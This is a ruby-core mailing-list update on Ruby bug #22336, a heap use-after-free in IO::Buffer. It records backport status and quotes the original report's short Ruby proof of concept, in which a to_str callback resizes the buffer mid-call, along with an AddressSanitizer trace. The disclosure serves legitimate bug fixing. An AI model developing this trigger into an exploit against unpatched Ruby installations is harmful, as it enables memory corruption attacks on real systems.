From: "nagachika (Tomoyuki Chikanaga) via ruby-core" <ruby-core@...>
Date: 2026-09-20T06:35:23+00:00
Subject: [ruby-core:126807] [Ruby Bug#22336] IO:Buffer Heap uaf

Issue #22336 has been updated by nagachika (Tomoyuki Chikanaga).

Backport changed from 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED to 3.3: WONTFIX, 3.4: DONE, 4.0: REQUIRED

ruby_3_4 commit:bce3c89801d667a2cc38940228b8656f46879e7e merged revision(s) commit:b61da996afb02715cb16703a55f57c4417fd2d5b.

----------------------------------------
Bug #22336: IO:Buffer Heap uaf
https://bugs.ruby-lang.org/issues/22336#change-119118

* Author: danielchong (Daniel Chong)
* Status: Closed
* ruby -v: 4.1.0-dev
* Backport: 3.3: WONTFIX, 3.4: DONE, 4.0: REQUIRED
----------------------------------------
Hello, a UAF is possible in IO:Buffer.

PoC:
```
$buf = IO::Buffer.new(64)  
evil = Object.new
def evil.to_str
  $buf.resize(64 * 1024 * 1024) 
  "UTF-8"
end
$buf.get_string(0, 32, evil)   
```

ASAN (truncated):
```
ERROR: AddressSanitizer: heap-use-after-free ... READ of size 32
    #3 str_enc_new string.c:1109
    #4 io_buffer_get_string io_buffer.c:3276           <- USE (read from stale base)
freed by thread T0 here:
    #0 realloc
    #1 rb_io_buffer_resize io_buffer.c:2203            <- FREE (realloc move)
    #2 io_buffer_resize io_buffer.c:2249
    ...
    #16 rb_str_to_str string.c:1818
    #18 name_for_encoding encoding.c:296
    #20 rb_find_encoding encoding.c:345
    #21 io_buffer_get_string io_buffer.c:3266          <- reentrancy boundary (encoding to_str)
previously allocated by thread T0 here:
    #0 calloc
    #1 io_buffer_initialize io_buffer.c:216            <- original 64-byte INTERNAL buffer
```



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